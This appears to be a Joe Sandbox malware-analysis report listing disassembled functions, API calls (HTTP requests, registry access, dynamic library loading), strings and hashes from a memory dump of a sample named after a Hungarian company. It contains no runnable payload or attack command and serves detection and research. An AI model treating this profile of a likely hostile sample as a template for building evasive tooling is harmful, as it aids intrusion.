                                                              Function 00743137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove$_free
                                                              • String ID: 3ct$_t
                                                              • API String ID: 2620147621-1670605766
                                                              • Opcode ID: e0f934cefa5fa2f015735d327b77cb790d74af894567cabaf61286598c6b6322
                                                              • Instruction ID: 3305dda857f09488474ba0ca2a2084898468ec3735d1926352ac2904e734fcd7
                                                              • Opcode Fuzzy Hash: e0f934cefa5fa2f015735d327b77cb790d74af894567cabaf61286598c6b6322
                                                              • Instruction Fuzzy Hash: 4A516B716047818FDB25CF28C441BAABBF5BF85350F08892DE98D87351EB39E905CB92
                                                              Function 00746192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memset$_memmove
                                                              • String ID: 3ct$ERCP
                                                              • API String ID: 2532777613-50398335
                                                              • Opcode ID: e40f9e66306d41204efdc87978ba38c467b753dd439f5443cf509c68d0766866
                                                              • Instruction ID: a1ffefca67ef2d6d092e2b16a5d6a7fb4faa81e162dfa56a2e9507bc9ed73e19
                                                              • Opcode Fuzzy Hash: e40f9e66306d41204efdc87978ba38c467b753dd439f5443cf509c68d0766866
                                                              • Instruction Fuzzy Hash: 4D51AF71A00309EBDB24DF65C8457EAB7F4FF09304F20456EE94ACB241E7B8AA44CB91
                                                              Function 00792753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007927C0
                                                              • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 007927DC
                                                              • DeleteMenu.USER32(?,00000007,00000000), ref: 00792822
                                                              • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,007F5890,00000000), ref: 0079286B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Menu$Delete$InfoItem_memset
                                                              • String ID: 0
                                                              • API String ID: 1173514356-4108050209
                                                              • Opcode ID: d0185fab37b5155d69a69f33bf51b141c3d308fe5f7116d1af3a42eabfb5eb24
                                                              • Instruction ID: a0083b05f5a094ea87736cb361b0167b1d927cfb108d8efd10008845407c93e3
                                                              • Opcode Fuzzy Hash: d0185fab37b5155d69a69f33bf51b141c3d308fe5f7116d1af3a42eabfb5eb24
                                                              • Instruction Fuzzy Hash: 2E41B274204301AFDB24EF24EC44F6ABBE4EF85314F144A2DF96597292D738E806CB62
                                                              Function 007AD7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 007AD7C5
                                                                • Part of subcall function 0073784B: _memmove.LIBCMT ref: 00737899
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BuffCharLower_memmove
                                                              • String ID: cdecl$none$stdcall$winapi
                                                              • API String ID: 3425801089-567219261
                                                              • Opcode ID: e499cf0eacf7777b0a1fe26a0d126e4baacdd43fc6298291f7651a112ad96074
                                                              • Instruction ID: ac786952a08d488ee4c60585df61ab505f2e2e3b5dac70104ce8491b267b6a5c
                                                              • Opcode Fuzzy Hash: e499cf0eacf7777b0a1fe26a0d126e4baacdd43fc6298291f7651a112ad96074
                                                              • Instruction Fuzzy Hash: 8831CF71904219EBDF24EF54C8559EEB3B4FF45320F008629E82697AD2DB79AD05CB80
                                                              Function 00788E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 0078AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0078AABC
                                                              • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00788F14
                                                              • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00788F27
                                                              • SendMessageW.USER32(?,00000189,?,00000000), ref: 00788F57
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$_memmove$ClassName
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 365058703-1403004172
                                                              • Opcode ID: b458a048630fd0e1171898931c595e2491da154df3f6ff88e482d164ac8efbdc
                                                              • Instruction ID: 30bfccb9b96a6230d704760e41cdf9b024430c61be76bc6b3e0f62825abde525
                                                              • Opcode Fuzzy Hash: b458a048630fd0e1171898931c595e2491da154df3f6ff88e482d164ac8efbdc
                                                              • Instruction Fuzzy Hash: 5121F2B1A80104FAEB18BBB08C4ADFEB769DF05320F14811AF921A72E1DB3D1809D711
                                                              Function 007A182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 007A184C
                                                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007A1872
                                                              • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 007A18A2
                                                              • InternetCloseHandle.WININET(00000000), ref: 007A18E9
                                                                • Part of subcall function 007A2483: GetLastError.KERNEL32(?,?,007A1817,00000000,00000000,00000001), ref: 007A2498
                                                                • Part of subcall function 007A2483: SetEvent.KERNEL32(?,?,007A1817,00000000,00000000,00000001), ref: 007A24AD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                              • String ID:
                                                              • API String ID: 3113390036-3916222277
                                                              • Opcode ID: e155ed68bb046e85b88d0d9edc88059f36d77c9cffb366504654a6e7d680dd1b
                                                              • Instruction ID: 85b88cd0e7fb48c4da5278f03d80f309b873a3a4c227388d00ba478ebd4b5b23
                                                              • Opcode Fuzzy Hash: e155ed68bb046e85b88d0d9edc88059f36d77c9cffb366504654a6e7d680dd1b
                                                              • Instruction Fuzzy Hash: 2E21B0B1500308BFFB119B64CC89EBB77EDEB8AB54F50822AF80596140EA2C9D0597A5
                                                              Function 007B63E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00731D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00731D73
                                                                • Part of subcall function 00731D35: GetStockObject.GDI32(00000011), ref: 00731D87
                                                                • Part of subcall function 00731D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00731D91
                                                              • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 007B6461
                                                              • LoadLibraryW.KERNEL32(?), ref: 007B6468
                                                              • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 007B647D
                                                              • DestroyWindow.USER32(?), ref: 007B6485
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                              • String ID: SysAnimate32
                                                              • API String ID: 4146253029-1011021900
                                                              • Opcode ID: 18c587c54d94da24a6c97a439ef639756804b8f5684ef7332fb378737b098db0
                                                              • Instruction ID: a8cf98b26d31dbd24ebc04064c329ad6ea544c2b13a1309dd37ea2b8f5ccc0e6
                                                              • Opcode Fuzzy Hash: 18c587c54d94da24a6c97a439ef639756804b8f5684ef7332fb378737b098db0
                                                              • Instruction Fuzzy Hash: C5217971210645AFEF104F64DC84FFA77A9EB59728F108629FB1093090D67DDC419760
                                                              Function 00796D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetStdHandle.KERNEL32(0000000C), ref: 00796DBC
                                                              • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00796DEF
                                                              • GetStdHandle.KERNEL32(0000000C), ref: 00796E01
                                                              • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00796E3B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CreateHandle$FilePipe
                                                              • String ID: nul
                                                              • API String ID: 4209266947-2873401336
                                                              • Opcode ID: a680ad9688dcdd61b65eb95cc659f1226a839d7190e7b3cc717013cb4eab795d
                                                              • Instruction ID: b255befd710ad204b14f74ceb9c64e175a77bfa418cc38a6fe4931821dd3fd1d
                                                              • Opcode Fuzzy Hash: a680ad9688dcdd61b65eb95cc659f1226a839d7190e7b3cc717013cb4eab795d
                                                              • Instruction Fuzzy Hash: DA215175700209ABDF209F29EC05A9A77A4FF45720F204B19FDA1D72D0D7789950CB54
                                                              Function 00796E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetStdHandle.KERNEL32(000000F6), ref: 00796E89
                                                              • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00796EBB
                                                              • GetStdHandle.KERNEL32(000000F6), ref: 00796ECC
                                                              • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00796F06
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CreateHandle$FilePipe
                                                              • String ID: nul
                                                              • API String ID: 4209266947-2873401336
                                                              • Opcode ID: f7d7870fa1a64a52b364afa8ff18a625114d3a5524fb890db674e6ec8391a9bf
                                                              • Instruction ID: 4d763728f3ab787a583cd43f24ece8752b0a2c1e0d872d44ce40549e406f4920
                                                              • Opcode Fuzzy Hash: f7d7870fa1a64a52b364afa8ff18a625114d3a5524fb890db674e6ec8391a9bf
                                                              • Instruction Fuzzy Hash: 65217179500305ABDF209F69EC04A9A77A8FF45720F204B19FCA1D72D0E778A851CB65
                                                              Function 0079AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNEL32(00000001), ref: 0079AC54
                                                              • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0079ACA8
                                                              • __swprintf.LIBCMT ref: 0079ACC1
                                                              • SetErrorMode.KERNEL32(00000000,00000001,00000000,007BF910), ref: 0079ACFF
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$InformationVolume__swprintf
                                                              • String ID: %lu
                                                              • API String ID: 3164766367-685833217
                                                              • Opcode ID: 5138e00ff5c2a23ec0db9a5b8685c6eac1ee12f17a3aa890cb891a07cc6e781b
                                                              • Instruction ID: b27df0e7ba46e0be5380c0350de7da68a0d93aa44b65ec31d2fe545cc8b09780
                                                              • Opcode Fuzzy Hash: 5138e00ff5c2a23ec0db9a5b8685c6eac1ee12f17a3aa890cb891a07cc6e781b
                                                              • Instruction Fuzzy Hash: CC21A47060010DEFCB10DF58CD49EEE77B8EF49714B004069F909EB252DA75EA01CB61
                                                              Function 00791142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0078FCED,?,00790D40,?,00008000), ref: 0079115F
                                                              • Sleep.KERNEL32(00000000,?,?,?,?,?,?,0078FCED,?,00790D40,?,00008000), ref: 00791184
                                                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0078FCED,?,00790D40,?,00008000), ref: 0079118E
                                                              • Sleep.KERNEL32(?,?,?,?,?,?,?,0078FCED,?,00790D40,?,00008000), ref: 007911C1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CounterPerformanceQuerySleep
                                                              • String ID: @y
                                                              • API String ID: 2875609808-330097415
                                                              • Opcode ID: a689d7b464721d6213d3089749efd97a8bd1edc7d2627aedddf231423aa51340
                                                              • Instruction ID: 5eeb1492a1524281eefcbe08ed31354558164b21a289525a5f5027105392c4cb
                                                              • Opcode Fuzzy Hash: a689d7b464721d6213d3089749efd97a8bd1edc7d2627aedddf231423aa51340
                                                              • Instruction Fuzzy Hash: 73113C31D4051EE7CF009FA9E888BEEBB78FF09711F808555EA45B6240CB789960CB95
                                                              Function 00791AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharUpperBuffW.USER32(?,?), ref: 00791B19
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BuffCharUpper
                                                              • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                              • API String ID: 3964851224-769500911
                                                              • Opcode ID: d314abe625546127adea76da4f4a047725f8dce0b37c97a2d5e1f063b295a789
                                                              • Instruction ID: 6a432669e24706b7abb71390decdf8c1fef9ecf8c66554d2c558c7f7309bbaeb
                                                              • Opcode Fuzzy Hash: d314abe625546127adea76da4f4a047725f8dce0b37c97a2d5e1f063b295a789
                                                              • Instruction Fuzzy Hash: F9118E71900249CFCF00EF64D8558FEB3B5FF25304B548468D81567292EB3A5D1ACB40
                                                              Function 007AEB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 007AEC07
                                                              • GetProcessIoCounters.KERNEL32(00000000,?), ref: 007AEC37
                                                              • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 007AED6A
                                                              • CloseHandle.KERNEL32(?), ref: 007AEDEB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                              • String ID:
                                                              • API String ID: 2364364464-0
                                                              • Opcode ID: c83e05a13a02c07c0178cc6650b950dfa593a2e47dcb8d882d23a8bd1bd9c4e2
                                                              • Instruction ID: 30c5c1dbec82a2fa62fcd36bb97c33eb8b198bff7922554ab140fbae183eb68d
                                                              • Opcode Fuzzy Hash: c83e05a13a02c07c0178cc6650b950dfa593a2e47dcb8d882d23a8bd1bd9c4e2
                                                              • Instruction Fuzzy Hash: 678183716047109FE760EF28C88AF6AB7E5AF89710F04891DF995DB2D2DBB4AC40CB51
                                                              Function 0075541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                                                              • String ID:
                                                              • API String ID: 1559183368-0
                                                              • Opcode ID: 1d92f2bce51b0a0de234b56dfad0c5d103c922ba67c2ed527f53aae8e5802bd0
                                                              • Instruction ID: a318876de7c011548fbc557cde9c504a427d2fe6e47c41b6394e910e13c789f9
                                                              • Opcode Fuzzy Hash: 1d92f2bce51b0a0de234b56dfad0c5d103c922ba67c2ed527f53aae8e5802bd0
                                                              • Instruction Fuzzy Hash: E351D670A00B45DBCB248F69D8545EE77B7AF40323F248729FC25962D0E7F99D688B40
                                                              Function 007B0037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 007B0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,007AFDAD,?,?), ref: 007B0E31
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 007B00FD
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 007B013C
                                                              • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 007B0183
                                                              • RegCloseKey.ADVAPI32(?,?), ref: 007B01AF
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 007B01BC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
                                                              • String ID:
                                                              • API String ID: 3440857362-0
                                                              • Opcode ID: 06248520ab1e345240da9cab81ca688c69dbe3ae55463699da5d3d7c009b0e8a
                                                              • Instruction ID: f2e70edce1e95d44a3309a45f50507d1939c238df7ddeb6992de9bf8ad84c9b2
                                                              • Opcode Fuzzy Hash: 06248520ab1e345240da9cab81ca688c69dbe3ae55463699da5d3d7c009b0e8a
                                                              • Instruction Fuzzy Hash: CF512971208208EFD714EB58CC85FAFB7E9AF84714F40891DF555872A2DB79E904CB92
                                                              Function 007AD8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              • LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 007AD927
                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 007AD9AA
                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 007AD9C6
                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 007ADA07
                                                              • FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 007ADA21
